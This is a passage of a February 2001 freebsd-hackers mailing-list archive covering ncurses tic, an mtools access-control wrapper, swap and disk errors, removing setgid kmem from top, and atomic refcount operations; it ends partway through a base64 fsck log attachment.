2001 18:05:59 +0200 From: Peter Pentchev To: hackers@FreeBSD.org Subject: ncurses tic(1) Message-ID: <20010201180559.G718@ringworld.oblivion.bg> Mail-Followup-To: hackers@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there a way to build tic(1) from the ncurses distribution in src/contrib/ncurses? I know there is one in the ncurses port, but for some reason it is not built in the base system. How do I go about enabling it in the build process? There are also several other utilities in src/contrib/ncurses/progs, but it seems that the src/lib/libncurses Makefile only builds things within src/contrib/ncurses/ncurses. G'luck, Peter -- What would this sentence be like if pi were 3? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 8:29:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from 200-227-201-210-as.acessonet.com.br (200-227-201-210-as.acessonet.com.br [200.227.201.210]) by hub.freebsd.org (Postfix) with ESMTP id CD70D37B491 for ; Thu, 1 Feb 2001 08:29:09 -0800 (PST) Received: (qmail 1237 invoked by uid 1001); 1 Feb 2001 16:28:35 -0000 From: "Mario Sergio Fujikawa Ferreira" Date: Thu, 1 Feb 2001 14:28:13 -0200 To: freebsd-hackers@freebsd.org Cc: poool@terra.com.br, pablos@linf.unb.br, infax@bol.com.br Subject: a mtools wrapper (slight better control) Message-ID: <20010201142813.A659@Fedaykin.here> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Here is my problem: I need to enable a group of workstations running XDM accesses to local disk floppies with FAT16/32 FS(es). Therefore, I considered ports/emulators/mtools. All users will have access to the floppy drives. All workstations will permit remote shell emulation (sshd,...). Thus, there can be a local and several remote users on all workstations. HOWEVER, I would like to only permit the local logged user accesses to the floppy through mtools. I need this because this lab is considered hostile environment and remote users might try to be fun destroying other ppls floppy files. Before, I get any complains I considered doing something. Here is what I though: 1) Create user floppy, group floppy 2) chown root:floppy /dev/fd0* 3) chmod 0660 /dev/fd0* 4) write a wrapper replacing /usr/local/bin/mtools mtools -> /usr/local/bin/mtools_real wrapper -> /usr/local/bin/mtools The wrapper will: 1) Sanitize the environment a la ports/x11/wrapper 2) First, check if the user trying mtools is the user locally logged through XDM. Second, I do not considered su (su from any other user) users locally logged. Third, I am still deciding the ruling about the remote logged with the same username (uid). 2nd and 3rd will depend on the ease to implement. 3) The wrapper will be installed sugid chown root:floppy /usr/local/bin/mtools chmod 2005 /usr/local/bin/mtools therefore, if (1) and (2) go well, the wrapper will run mtools_real with the appropriate privileges. The workstations will be running FreeBSD 4.x-Stable with XFree 4.0.2 from ports. The design seems fine, adding a simple, yet interesting level of control over mtools. However, how does one achieve item (2) of the wrapper design? 1) getuid to get the user running the wrapper 2) geteuid for additional checking 3) get through PAM the user who logged through XDM 4) crosscheck to see if running user match XDM user 5) check if the running process associated terminal is not a remote terminal (ssh, ...) 6) check if this a su user The list came from a mental exercise. However, I have no idea if this is feasible. Is this correct? How do I do 3-6? What could I do differently? Hope this is not out of line, or plainly in the wrong list. Regards, -- Mario S F Ferreira - UnB - Brazil - "I guess this is a signature." lioux at ( freebsd dot org | linf dot unb dot br ) flames to beloved devnull@someotherworldbeloworabove.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 8:50:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.newst.irs.ru (newst.irs.ru [212.164.94.1]) by hub.freebsd.org (Postfix) with ESMTP id BC0ED37B491 for ; Thu, 1 Feb 2001 08:50:33 -0800 (PST) Received: from lark.nsk.bsgdesign.com (lark.nsk.bsgdesign.com [192.168.3.21]) by mail.newst.irs.ru (8.11.1/8.11.0) with ESMTP id f11GoQ469530 for ; Thu, 1 Feb 2001 22:50:30 +0600 (NOVT) (envelope-from fjoe@newst.net) Date: Thu, 1 Feb 2001 22:49:50 +0600 (NOVT) From: Max Khon X-Sender: fjoe@localhost To: hackers@freebsd.org Subject: swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, size: 4096 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! what does the following error message mean: swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, size: 4096 it happens when burncd is fixating disk /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 8:53:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from guild.plethora.net (guild.plethora.net [205.166.146.8]) by hub.freebsd.org (Postfix) with ESMTP id F2D7C37B684 for ; Thu, 1 Feb 2001 08:53:35 -0800 (PST) Received: from guild.plethora.net (seebs@localhost.plethora.net [127.0.0.1]) by guild.plethora.net (8.10.1/8.10.1) with ESMTP id f11GrNn00943; Thu, 1 Feb 2001 10:53:25 -0600 (CST) Message-Id: <200102011653.f11GrNn00943@guild.plethora.net> From: seebs@plethora.net (Peter Seebach) Reply-To: seebs@plethora.net (Peter Seebach) To: Max Khon Cc: hackers@freebsd.org Subject: Re: swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, size: 4096 In-reply-to: Your message of "Thu, 01 Feb 2001 22:49:50 +0600." Date: Thu, 01 Feb 2001 10:53:23 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Max Khon writes : >what does the following error message mean: >swap_pager: indefinite wait buffer: device: #ad/0x20001, blkno: 288, >size: 4096 >it happens when burncd is fixating disk My intuitive guess is that the fixate command has tied up a relevant bus, and the kernel is bored. -s To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 9:12:10 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hand.dotat.at (sfo-gw.covalent.net [207.44.198.62]) by hub.freebsd.org (Postfix) with ESMTP id 8FA4C37B6A0 for ; Thu, 1 Feb 2001 09:11:53 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.20 #3) id 14ONGh-000APM-00; Thu, 01 Feb 2001 17:11:35 +0000 Date: Thu, 1 Feb 2001 17:11:35 +0000 From: Tony Finch To: Thomas Moestl Cc: freebsd-hackers@freebsd.org Subject: Re: removing setgid kmem from top, collecting per-device swap stats Message-ID: <20010201171135.O70673@hand.dotat.at> References: <20010130224759.A1589@crow.dom2ip.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010130224759.A1589@crow.dom2ip.de> Organization: Covalent Technologies, Inc Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thomas Moestl wrote: > >Most kmem_read calls are easy to replace (the variables are already >exported as sysctls), the only exception is nextproc (for which I might >add a sysctl, or just leave it out [anyone out there who needs the >lastpid display?]). It's useful for seeing how fast the machine is forking. Tony. -- f.a.n.finch fanf@covalent.net dot@dotat.at "There are flying saucers. There's no doubt they are in our skies. They've been there for some time." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 9:30:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id D7C3A37B65D for ; Thu, 1 Feb 2001 09:30:17 -0800 (PST) Received: from localhost (IDENT:2CeP2bYUGw2cb5GySoVTJ/WiY0U8/daSuvADMmCVPEZRHgmRMsMxYRPBW6slhagU@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.2/8.11.2/peace) with ESMTP/inet6 id f11HSUa20973; Fri, 2 Feb 2001 02:28:30 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Fri, 02 Feb 2001 02:28:29 +0900 (JST) Message-Id: <20010202.022829.04064803.ume@mahoroba.org> To: dot@dotat.at Cc: tmoestl@gmx.net, freebsd-hackers@freebsd.org Subject: Re: removing setgid kmem from top, collecting per-device swap stats From: Hajimu UMEMOTO In-Reply-To: <20010201171135.O70673@hand.dotat.at> References: <20010130224759.A1589@crow.dom2ip.de> <20010201171135.O70673@hand.dotat.at> X-Mailer: xcite1.38> Mew version 1.95b97 on Emacs 20.7 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Thu, 1 Feb 2001 17:11:35 +0000 >>>>> Tony Finch said: dot> Thomas Moestl wrote: > >Most kmem_read calls are easy to replace (the variables are already >exported as sysctls), the only exception is nextproc (for which I might >add a sysctl, or just leave it out [anyone out there who needs the >lastpid display?]). dot> It's useful for seeing how fast the machine is forking. I beleive it's not meaningful if randompid is enabled. You can see vm.stats.vm.v_[vr]?forks instead. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@{,jp.}FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 9:50:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pike.osd.bsdi.com (unknown [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id E3E4237B6A2 for ; Thu, 1 Feb 2001 09:50:06 -0800 (PST) Received: from foo.osd.bsdi.com (root@foo.osd.bsdi.com [204.216.28.137]) by pike.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f11Hnmx53327; Thu, 1 Feb 2001 09:49:48 -0800 (PST) (envelope-from jhb@foo.osd.bsdi.com) Received: (from jhb@localhost) by foo.osd.bsdi.com (8.11.1/8.11.1) id f11HnEC13582; Thu, 1 Feb 2001 09:49:14 -0800 (PST) (envelope-from jhb) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <3A791493.FC414DEB@elischer.org> Date: Thu, 01 Feb 2001 09:49:14 -0800 (PST) Organization: BSD, Inc. From: John Baldwin To: Julian Elischer Subject: Re: Atomic bit operations Cc: freebsd-hackers@FreeBSD.org, Matthew Emmerton Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 01-Feb-01 Julian Elischer wrote: > John Baldwin wrote: >> >> On 31-Jan-01 Matthew Emmerton wrote: >> > Hi all, >> > >> > I've taken a look around for an implementation of atomic bit operations in >> > FreeBSD (similar to Linux' asm/bitopt.h, which include clear_bit() and >> > test_and_set_bit()) but haven't found any. The only thing I've found are >> > the atomic clear/set/add/sub routines in machine/atomic.h. >> > >> > Do we have an implementation of atomic bit operations, and if we don't, >> > would we like some? >> >> Erm, atomic_set() sets's bits, and atomic_clear() clear's bits. Anything >> else >> you might need can be done with atomic_cmpset() anyways. Also, atomic >> operations are very hard to debug, esp. to check for race conditions, so >> there >> direct use is discouraged. Instead, use a higher level primitive such as a >> mutex or other appropriate lock. There is also talk of a potential abstract >> refcount type so that simple reference counts can be optimized, though that >> has >> been shot down thus far. > > by who?? I really want this.... Mostly Jason Evans, though Justin Gibbs pointed out that it won't work for all reference counts that one may need, and thus had a problem with having a refcont(9) API that didn't cover all possible refcounts. The current implementation for it can be found at http://www.FreeBSD.org/~jhb/patches/refcount.patch. It's all done with simple atomic operations right now. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.Baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 10:17:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.gmx.net (pop.gmx.de [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id D7ED137B503 for ; Thu, 1 Feb 2001 10:17:27 -0800 (PST) Received: (qmail 908 invoked by uid 0); 1 Feb 2001 18:17:25 -0000 Received: from p3ee2143e.dip.t-dialin.net (HELO forge.local) (62.226.20.62) by mail.gmx.net (mail07) with SMTP; 1 Feb 2001 18:17:25 -0000 Received: from thomas by forge.local with local (Exim 3.16 #1 (Debian)) id 14OOIJ-0000EA-00 for ; Thu, 01 Feb 2001 19:17:19 +0100 Date: Thu, 1 Feb 2001 19:17:19 +0100 From: Thomas Moestl To: freebsd-hackers@freebsd.org Subject: Re: removing setgid kmem from top, collecting per-device swap stats Message-ID: <20010201191719.A703@crow.dom2ip.de> Mail-Followup-To: Thomas Moestl , freebsd-hackers@freebsd.org References: <20010130224759.A1589@crow.dom2ip.de> <20010201171135.O70673@hand.dotat.at> <20010202.022829.04064803.ume@mahoroba.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010202.022829.04064803.ume@mahoroba.org>; from ume@mahoroba.org on Fri, Feb 02, 2001 at 02:28:29AM +0900 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Feb 02, 2001 at 02:28:29AM +0900, Hajimu UMEMOTO wrote: > >>>>> On Thu, 1 Feb 2001 17:11:35 +0000 > >>>>> Tony Finch said: > > dot> Thomas Moestl wrote: > > > >Most kmem_read calls are easy to replace (the variables are already > >exported as sysctls), the only exception is nextproc (for which I might > >add a sysctl, or just leave it out [anyone out there who needs the > >lastpid display?]). > > dot> It's useful for seeing how fast the machine is forking. > I beleive it's not meaningful if randompid is enabled. It is. It gives the greatest pid used up to now. The next pid is determined by adding 1 (and randomness in the randompid case) to it. This is why I can export it without defeating randompid. Of course, it would still be better to track the sysctls you named for this, but people seem to like the lastpid dispay, so I won't remove it for now. - thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 10:22:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from npnt.np.k12.mn.us (unknown [206.9.102.244]) by hub.freebsd.org (Postfix) with ESMTP id A4A1737B67D for ; Thu, 1 Feb 2001 10:22:32 -0800 (PST) Received: from [209.105.115.17] by npnt.np.k12.mn.us (NTMail 5.00.0010/NT1602.00.5dfc3585) with ESMTP id nffeaaaa for ; Thu, 1 Feb 2001 12:25:32 +0000 From: Nick Meverden To: freebsd-hackers@freebsd.org Subject: NEED HELP: fiber card Date: Thu, 1 Feb 2001 06:19:10 -0600 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain MIME-Version: 1.0 Message-Id: <01020106212600.03679@meverden.np.k12.mn.us> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG has anyone had any success getting the FDDILINK 3com 3c805 pci fiber card to work with freebsd 4.2R or know anyone that could help develop a driver for this ? Please contact me nmeverde@np.k12.mn.us Nick Meverden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 10:52:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from syncopation-03.iinet.net.au (syncopation-03.iinet.net.au [203.59.24.49]) by hub.freebsd.org (Postfix) with SMTP id CC84A37B503 for ; Thu, 1 Feb 2001 10:52:29 -0800 (PST) Received: (qmail 27871 invoked by uid 666); 1 Feb 2001 19:00:34 -0000 Received: from reggae-03-33.nv.iinet.net.au (HELO elischer.org) (203.59.78.33) by mail.m.iinet.net.au with SMTP; 1 Feb 2001 19:00:34 -0000 Message-ID: <3A79B054.BB13FA83@elischer.org> Date: Thu, 01 Feb 2001 10:52:04 -0800 From: Julian Elischer X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en, hu MIME-Version: 1.0 To: John Baldwin Cc: freebsd-hackers@FreeBSD.org, Matthew Emmerton Subject: Re: Atomic bit operations References: Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Baldwin wrote: > > > The current implementation for it can be found at > http://www.FreeBSD.org/~jhb/patches/refcount.patch. It's all done with simple > atomic operations right now. > what I do at the moment is: do { v = node->nd_refs; } while (! atomic_cmpset_int(&node->nd_refs, v, v - 1)); if (v == 1) { /* we were the last */ .......whatever needs to be done } but I'd rather have something more 'direct' -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000-2001 ---> X_.---._/ v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 11:21: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.nextlevel.com (ns1.nextlevel.com [209.17.153.125]) by hub.freebsd.org (Postfix) with ESMTP id A401237B69C for ; Thu, 1 Feb 2001 11:20:41 -0800 (PST) Received: from homer (cerberus.nextlevel.com [209.17.153.113]) by ns1.nextlevel.com (8.9.3/8.9.3) with SMTP id MAA05468 for ; Thu, 1 Feb 2001 12:26:44 -0800 Message-ID: <00da01c08c84$2018ecd0$1001a8c0@homer> From: "Travis Hildebrandt" To: Subject: dscheck(#idad/0x2000c): negative b_blkno -557039451 Date: Thu, 1 Feb 2001 11:21:05 -0800 Organization: Nextlevel.com Inc. MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00D7_01C08C41.116F3EC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00D7_01C08C41.116F3EC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hello, -Background info: The machine is a Compaq 5500 with 4 Pentium II Xeon's @ 450 Mhz and 256Megs of RAM. It's using the Compaq Smart Array 3200 with 3 9Gig drives in a RAID5 config, and 4 36Gig drives in a RAID0+1 config, with 56Megs allocated to the write cache. Please see the attached dmesg. It's running 4.1.1-RELEASE with a modification to /sys/sys/syslimits.h to increase NGROUPS_MAX from 16 to 256. /usr /var (which are on the RAID5 config) and the data partition /export (which is on the RAID0+1 config) are all using soft-updates. /export is mounted with noatime. It's being used as a webserver running Apache 1.3.14. Last week we had a power failure and I wasn't around when it came back online and missed any work done by fsck. Though it 'seems' to be running fine. *smile* -Problem: This morning the dmesg buffer from the daily security check output was full of: dscheck(#idad/0x2000c): negative b_blkno -557039451 The b_blkno's seem to be all over the place. I'm not sure of the time when these messages were emitted, but I suspect that it happened during the nightly dump. (That sounds rude.) I've run a read-only fsck which reports a number of inconsistencies. I've attached a log of the output. -So: What do I do? Is this a result of impending hardware failure? Is this from last weeks power failure? Can fsck fix this problem? -An aside: Is this appropriate list for this sort of problem? Should I have posted to -questions? Thank you, travish ------=_NextPart_000_00D7_01C08C41.116F3EC0 Content-Type: application/octet-stream; name="dmesg.yesterday" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="dmesg.yesterday" Copyright (c) 1992-2000 The FreeBSD Project.=0A= Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994=0A= The Regents of the University of California. All rights reserved.=0A= FreeBSD 4.1.1-RELEASE #5: Sun Oct 29 00:59:48 PDT 2000=0A= root@zeus.nextlevel.com:/usr/src/sys/compile/zeus=0A= Timecounter "i8254" frequency 1193182 Hz=0A= CPU: Pentium II/Pentium II Xeon/Celeron (449.86-MHz 686-class CPU)=0A= Origin =3D "GenuineIntel" Id =3D 0x653 Stepping =3D 3=0A= = Features=3D0x183fbff=0A= real memory =3D 268419072 (262128K bytes)=0A= avail memory =3D 258236416 (252184K bytes)=0A= Changing APIC ID for IO APIC #0 from 0 to 8 on chip=0A= Programming 35 pins in IOAPIC #0=0A= IOAPIC #0 intpin 2 -> irq 0=0A= FreeBSD/SMP: Multiprocessor motherboard=0A= cpu0 (BSP): apic id: 3, version: 0x00040011, at 0xfee00000=0A= cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee00000=0A= cpu2 (AP): apic id: 1, version: 0x00040011, at 0xfee00000=0A= cpu3 (AP): apic id: 2, version: 0x00040011, at 0xfee00000=0A= io0 (APIC): apic id: 8, version: 0x00220011, at 0xfec00000=0A= Preloaded elf kernel "kernel" at 0xc02fe000.=0A= Preloaded userconfig_script "/boot/kernel.conf" at 0xc02fe09c.=0A= Pentium Pro MTRR support enabled=0A= md0: Malloc disk=0A= npx0: on motherboard=0A= npx0: INT 16 interface=0A= pcib0: on motherboard=0A= pci0: on pcib0=0A= tl0: port 0x2000-0x200f mem = 0xc6ef0000-0xc6ef000f irq 5 at device 1.0 on pci0=0A= tl0: Ethernet address: 00:08:c7:cf:bc:d4=0A= miibus0: on tl0=0A= nsphy0: on miibus0=0A= nsphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto=0A= tlphy0: on miibus0=0A= tlphy0: 10base2/BNC, 10base5/AUI=0A= pcib1: at device 2.0 on pci0=0A= pci1: on pcib1=0A= ida0: port 0x4000-0x40ff mem = 0xc6ff0000-0xc6ff00ff irq 9 at device 0.0 on pci1=0A= ida0: drives=3D2 firm_rev=3D4.44=0A= idad0: on ida0=0A= idad0: 17363MB (35561280 sectors), blocksize=3D512=0A= idad1: on ida0=0A= idad1: 70037MB (143436480 sectors), blocksize=3D512=0A= pci0: (vendor=3D0x0e11, dev=3D0xa0f0) at 12.0=0A= sym0: <875> port 0x2400-0x24ff mem = 0xc6ec0000-0xc6ec0fff,0xc6ed0000-0xc6ed00ff irq 10 at device 13.0 on pci0=0A= sym0: No NVRAM, ID 7, Fast-20, SE, parity checking=0A= sym1: <875> port 0x2800-0x28ff mem = 0xc6ea0000-0xc6ea0fff,0xc6eb0000-0xc6eb00ff irq 11 at device 13.1 on pci0=0A= sym1: No NVRAM, ID 7, Fast-20, SE, parity checking=0A= pci0: at 14.0=0A= isab0: at device 15.0 on pci0=0A= isa0: on isab0=0A= atapci0: port 0x3000-0x300f at device = 15.1 on pci0=0A= ata0: at 0x1f0 irq 14 on atapci0=0A= pci0: at 15.2=0A= intpm0: port 0x1240-0x124f = irq 9 at device 15.3 on pci0=0A= intpm0: I/O mapped 1240=0A= intpm0: intr IRQ 9 enabled revision 0=0A= smbus0: on intsmb0=0A= smb0: on smbus0=0A= intpm0: PM I/O mapped 1200 =0A= pcib2: at device 18.0 on pci0=0A= pcib3: at device 19.0 on pci0=0A= pcib4: on motherboard=0A= pci4: on pcib4=0A= fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0=0A= fdc0: FIFO enabled, 8 bytes threshold=0A= fd0: <1440-KB 3.5" drive> on fdc0 drive 0=0A= atkbdc0: at port 0x60,0x64 on isa0=0A= atkbd0: flags 0x1 irq 1 on atkbdc0=0A= kbd0 at atkbd0=0A= vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0=0A= sc0: at flags 0x100 on isa0=0A= sc0: VGA <16 virtual consoles, flags=3D0x300>=0A= sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0=0A= sio0: type 16550A=0A= sio1 at port 0x2f8-0x2ff irq 3 on isa0=0A= sio1: type 16550A=0A= APIC_IO: routing 8254 via IOAPIC #0 intpin 2=0A= SMP: AP CPU #2 Launched!=0A= SMP: AP CPU #3 Launched!=0A= SMP: AP CPU #1 Launched!=0A= acd0: CDROM at ata0-slave using WDMA2=0A= Waiting 5 seconds for SCSI devices to settle=0A= no devsw (majdev=3D0 bootdev=3D0xa0200000)=0A= Mounting root from ufs:/dev/idad0s1a=0A= WARNING: / was not properly dismounted=0A= ------=_NextPart_000_00D7_01C08C41.116F3EC0 Content-Type: application/x-gzip; name="fsck.log.gz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="fsck.log.gz" H4sICCO2eToAA2ZzY2subG9nANWdXW/expmGTwsD/g8EimKdImtxvp7hBAi2ji232tpSIMn92IMF ZPu1LcSSAulV2vSgv32HnLGt1NJ7X1kpB+1B0URXyeHN4fC5hqPRwavz4+/Xw8X66Hy9ej2cnQ6H 7y6Hp6uXw+AG574a7atkgx9Hd+/87Gz9u3+sLi+++uevhzcXr767f//eb387bL1e/bB1/Pro9Xjh joYHu3vDn/d3Dre/WH747OhiPTw/uzztB99a/u1+PdLw5vj9arj48WK9Oln+5bfvji5W9aT/OTx+ t3r13fDN+7NX310MR6evh4Pjf6wurkD+I/Tt0frd6dHJT34aPv708dnp6erV+viH4/WPV4D4Edhf vVmdr05frSpa23j1KOnTUX58P7w9P7v8vv7YuTIuLb/4cgjej2m4vFi9/nLw3k1pGt6cr1bDg1Ri /V9Hbyvjs9V//XK5lC+H8aH/zfKTk9Xp+mh9fHb6xWcRvpERXl6c/1sF5pP7EJmPIeYp9NCcj9nG lHtssfjRfQjOpRRC/dGn6IKMbiWj++Ho3yi6GNOH3FL2tU+11Eoq41h6Zj5+SsyVKdqVwMbNgTkS 2Orv35+dr2FmO7uP9/b3tx8fDt8823v8x+Hx3ovdw2Hn6zCGkryrrbVS7/Fw8e7s8v3r4WUN10oa Yz13/z/+13B6dv/ezUeaRpdCCfVIPl49zDjxY7gw1cOM9SA/OcTPPkAeHlixq1dTu/rPPso0PCh+ uu1RyvDApThNtzuMG+thnAt2y8O4+TAWb9saXw8z+ltfVL3Rzkq+7UXF+TBhirc8TKqHmYKOePP4 82L30bN69EeH20+GeuxcQq49adj78+72/tenZy/PXv84PN97sv21G0eL8f69g53/2f7a2/D8cOf5 9tdXXu9lebcP9+893Xm2/fXWq7P66J+ut17Wx/ro4sf3lycPX52dbP1t9XLr1dvjraPXJ8enW6+P 1kdb747XF1tlbuqL3e2/fFubXttysPf0cHjx7ZPasGEOYvdg5+Bwe/fxX2duf/v53p+2P1zgv1xC qK3Ipdx0DWb9GsxPn11E7XDXX8T5av2u1jUPT1frrcuXL7eenp1fnrgtP1a8PKwXdIfNdyWHm5qf c+7Nn1KIt27/Hw6fP/twEe/WJ+/v7ipqFeOyl1fh0s/oSf9yEXM3er46ebk6v9ga63/iWPKd3opU 25luvBWfnoYUY/Cf34vx+ss4Xf19/X71w+r98jycnK/fbl387Xj96t1DFx++P3t7t82Po2y+5VKH tjto/nT3zQ9BN7+Md5K+/wXCd7L1U4g+30Xrx18g/KjDH6d4F30n/AKtT7r1FmoRefvW/wLPbX2v y2Gn1q/pDlqffoHWZ93xfTB3B623O299dLrfp1D/4Q5a/5Of/AL3QZdyOZfxLgagfKetd2Ocz3/j I2wfb8RUX/vXFHKRtH+9Ovn+/dF6tXVSbXV1vvXo5dnl+sXFw5Pvw///Sp7vHBzs7P5++I+H/zFc lcRrriTWSih9uA/OrrmM9OEynuzs33QVb89Xb7cOz49ffffj1unx6c9p+dOdv3ze7H+vdt/NBMqL 3f3tp8PcVz6NArpyumEU+HjxVcP2dnevuFiVs2fbj/Y/dfrPzwreWtcXPLc56wTOev2b/jZnLXp0 mt/Q17wlbnVWUNBf/2a9xVmT173phjfirc6q38N1/Hd3fVZ9X2dlutsnJ3l9X6vp+Ds+awD39foS H5/12c7uh8mfOpq2l2MMOV9bIV4dmmN9Zm+cIuhHtOHgD3svnj0Zvtke8k/OVQfd/e1H8zuBj8uP nvz3i4PD6+PqL5Qba6tPr/T6zJe8aXLm592nfmJdS1QulPGaB/92J76xkrdPI/pU8nV95HYnvvHh /3TFKUVz1yjQ7U584/P/8cQxx3Gc7vyKb571+zjcFWdjvut7fHOtcKVXl9oV7vzEN84wfDpxiVO5 rkS+3Ylvmtu7cmKfcinXvFtud+IbZ4Q+nniyyefaF+74xHrkmkIO6bq3qb/VifXIVeqJr33J3O7E euTKMVoYr6kL8YnFp8uDF8+fP9r/a33VPN3bf/7ocGdvd/jm0ZP6g0fP/vTo9x+t65tnf3xw8MXw wWJ2KrVzODx/9O3BZ+gn0Xy6/+j3Q5znjusgXU/zx+XfbW/fwGTBzFXeBJiimXlMlowDjAdMAEwE TFLMlJLKeWZkzpWROZfJZJsrI9tcGdnmysg2V4a0WfaNMmXZNyqj+sb8dUYdZ2bIcVQfmxnVx2ZG 3a+ZUfdrZtT9mpnN98v5kEKKm0/Woc1n65A8XbEc5OlKrU83d5AZKk6k1CHZ8BnSDS+xgCPFgo60 +RHpEIggjZs7d4c29+4Obe7eHdrcvxsUN3fwDoF7BzrdDIHEUwSJp0gSTyTxRBJPJPFEEk8k8UQS Fy+uDpHExaurQyRxI4kbSdxI4kYSFy/dDpHExWu3QyRx8eLtEElcvHo7RBLPJPFMEs8k8UwSzyTx 